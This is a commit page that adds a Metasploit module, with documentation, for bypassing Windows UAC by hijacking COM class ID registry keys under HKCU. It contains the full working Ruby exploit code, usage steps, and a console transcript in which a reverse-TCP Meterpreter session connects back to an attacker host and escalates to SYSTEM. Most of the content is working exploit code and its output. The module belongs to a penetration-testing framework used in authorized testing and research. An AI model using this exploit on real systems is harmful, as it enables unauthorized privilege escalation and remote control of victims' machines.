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Land #8789, Add COM class ID hijack method for bypassing UAC
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Brent Cook committed Aug 20, 2017
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115 changes: 115 additions & 0 deletions documentation/modules/exploit/windows/local/bypassuac_comhijack.md
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## Intro

This module will bypass UAC on Windows 7 through to 10 RS3 by hijacking a COM Class ID
that is located in the current user hive. This key contains a reference to a DLL that
contains a chosen payload. Multiple COM vectors are defined in this module and one is
chosen at random at runtime.

The module modifies the registry in order for this exploit to work. The modification is
reverted once the exploitation attempt has finished.

This module requires that the payload architecture matches the target operating system
architecture. This is due to the fact that the underlying binaries that are invoked
match the system architecture.

If a custom DLL is to be used with `EXE::Custom`, that DLL must match the system
architecture, and should call `ExitProcess()` after starting the payload in a
different process.

## Usage

1. Create a session on the target system under the context of a local administrative user.
1. Begin interacting with the module: `use exploit/windows/local/bypassuac_comhijack`.
1. Set the `PAYLOAD` and configure it correctly, making sure the architecture is correct.
1. If an existing handler is configured to receive the elevated session, then the module's
handler should be disabled: `set DisablePayloadHandler true`.
1. Make sure that the `SESSION` value is set to the existing session identifier.
1. Invoke the module: `run`.

## Scenario

```
msf exploit(bypassuac_comhijack) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-5A73R51\oj @ DESKTOP-5A73R51 xxx.xx.255.1:8443 -> xxx.xx.255.159:51474 (xxx.xx.255.159)
msf exploit(bypassuac_comhijack) > sessions -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DESKTOP-5A73R51
OS : Windows 10 (Build 14393).
Architecture : x64
System Language : en_AU
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 1...
msf exploit(bypassuac_comhijack) > options
Module options (exploit/windows/local/bypassuac_comhijack):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST xxx.xx.255.1 yes The listen address
LPORT 8443 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(bypassuac_comhijack) > run
[*] [2017.08.16-12:58:31] UAC is Enabled, checking level...
[+] [2017.08.16-12:58:31] Part of Administrators group! Continuing...
[+] [2017.08.16-12:58:32] UAC is set to Default
[+] [2017.08.16-12:58:32] BypassUAC can bypass this setting, continuing...
[*] [2017.08.16-12:58:33] Targeting Event Viewer via HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931} ...
[*] [2017.08.16-12:58:33] Uploading payload to C:\Users\oj\AppData\Local\Temp\DJAyEYXA.dll ...
[*] [2017.08.16-12:58:33] Executing high integrity process ...
[*] [2017.08.16-12:58:34] Sending stage (1188415 bytes) to xxx.xx.255.159
[*] Meterpreter session 2 opened (xxx.xx.255.1:8443 -> xxx.xx.255.159:51480) at 2017-08-16 12:58:35 +1000
[*] [2017.08.16-12:58:38] Cleaining up registry ...
[!] [2017.08.16-12:58:39] This exploit may require manual cleanup of 'C:\Users\oj\AppData\Local\Temp\DJAyEYXA.dll' on the target
msf exploit(bypassuac_comhijack) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-5A73R51\oj @ DESKTOP-5A73R51 xxx.xx.255.1:8443 -> xxx.xx.255.159:51474 (xxx.xx.255.159)
2 meterpreter x64/windows DESKTOP-5A73R51\oj @ DESKTOP-5A73R51 xxx.xx.255.1:8443 -> xxx.xx.255.159:51480 (xxx.xx.255.159)
msf exploit(bypassuac_comhijack) > sessions -1
[*] Starting interaction with 2...
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
211 changes: 211 additions & 0 deletions modules/exploits/windows/local/bypassuac_comhijack.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Post::Windows::Priv
include Post::Windows::Registry
include Post::Windows::Runas
include Exploit::FileDropper

CLSID_PATH = "HKCU\\Software\\Classes\\CLSID"
DEFAULT_VAL_NAME = '' # This maps to "(Default)"

def initialize(info={})
super(update_info(info,
'Name' => 'Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)',
'Description' => %q{
This module will bypass Windows UAC by creating COM handler registry entries in the
HKCU hive. When certain high integrity processes are loaded, these registry entries
are referenced resulting in the process loading user-controlled DLLs. These DLLs
contain the payloads that result in elevated sessions. Registry key modifications
are cleaned up after payload invocation.
This module requires the architecture of the payload to match the OS, but the
current low-privilege Meterpreter session architecture can be different. If
specifying EXE::Custom your DLL should call ExitProcess() after starting your
payload in a separate process.
This module invokes the target binary via cmd.exe on the target. Therefore if
cmd.exe access is restricted, this module will not run correctly.
},
'License' => MSF_LICENSE,
'Author' => [
'Matt Nelson', # UAC bypass discovery and research
'b33f', # UAC bypass discovery and research
'OJ Reeves' # MSF module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'References' => [
[
'URL', 'https://www.youtube.com/watch?v=3gz1QmiHhss',
'URL', 'https://wikileaks.org/ciav7p1/cms/page_13763373.html',
'URL', 'https://github.com/FuzzySecurity/Defcon25/Defcon25_UAC-0day-All-Day_v1.2.pdf',
]
],
'DisclosureDate'=> 'Jan 01 1900'
))
end

def check
if sysinfo['OS'] =~ /Windows (7|8|10|2008|2012|2016)/ && is_uac_enabled?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end

def exploit
# Make sure we have a sane payload configuration
if sysinfo['Architecture'] != payload_instance.arch.first
fail_with(Failure::BadConfig, "#{payload_instance.arch.first} payload selected for #{sysinfo['Architecture']} system")
end

registry_view = REGISTRY_VIEW_NATIVE
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
registry_view = REGISTRY_VIEW_64_BIT
end

# Validate that we can actually do things before we bother
# doing any more work
check_permissions!

case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
)
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end

payload = generate_payload_dll({:dll_exitprocess => true})
commspec = expand_path('%COMSPEC%')
dll_name = expand_path("%TEMP%\\#{rand_text_alpha(8)}.dll")
hijack = hijack_com(registry_view, dll_name)

unless hijack && hijack[:cmd_path]
fail_with(Failure::Unknown, 'Unable to hijack COM')
end

begin
print_status("Targeting #{hijack[:name]} via #{hijack[:root_key]} ...")
print_status("Uploading payload to #{dll_name} ...")
write_file(dll_name, payload)
register_file_for_cleanup(dll_name)

print_status("Executing high integrity process ...")
args = "/c #{expand_path(hijack[:cmd_path])}"
args << " #{hijack[:cmd_args]}" if hijack[:cmd_args]

# Launch the application from cmd.exe instead of directly so that we can
# avoid the dreaded 740 error (elevation requried)
client.sys.process.execute(commspec, args, {'Hidden' => true})

# Wait a copule of seconds to give the payload a chance to fire before cleaning up
Rex::sleep(5)

handler(client)

ensure
print_status("Cleaining up registry ...")
registry_deletekey(hijack[:root_key], registry_view)
end
end

# TODO: Add more hijack points when they're known.
# TODO: when more class IDs are found for individual hijackpoints
# they can be added to the array of class IDs.
@@hijack_points = [
{
name: 'Event Viewer',
cmd_path: '%WINDIR%\System32\eventvwr.exe',
class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931']
},
{
name: 'Computer Managment',
cmd_path: '%WINDIR%\System32\mmc.exe',
cmd_args: 'CompMgmt.msc',
class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931']
}
]

#
# Perform the hijacking of COM class IDS. This function chooses a random
# application target and a random class id associated with it before
# modifying the registry.
#
def hijack_com(registry_view, dll_path)
target = @@hijack_points.sample
target_clsid = target[:class_ids].sample
root_key = "#{CLSID_PATH}\\{#{target_clsid}}"
inproc_key = "#{root_key}\\InProcServer32"
shell_key = "#{root_key}\\ShellFolder"

registry_createkey(root_key, registry_view)
registry_createkey(inproc_key, registry_view)
registry_createkey(shell_key, registry_view)

registry_setvaldata(inproc_key, DEFAULT_VAL_NAME, dll_path, 'REG_SZ', registry_view)
registry_setvaldata(inproc_key, 'ThreadingModel', 'Apartment', 'REG_SZ', registry_view)
registry_setvaldata(inproc_key, 'LoadWithoutCOM', '', 'REG_SZ', registry_view)
registry_setvaldata(shell_key, 'HideOnDesktop', '', 'REG_SZ', registry_view)
registry_setvaldata(shell_key, 'Attributes', 0xf090013d, 'REG_DWORD', registry_view)

{
name: target[:name],
cmd_path: target[:cmd_path],
cmd_args: target[:cmd_args],
root_key: root_key
}
end

def check_permissions!
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?

# Check if you are an admin
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?

unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
end

unless is_in_admin_group?
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end

print_status('UAC is Enabled, checking level...')
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end

if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
end

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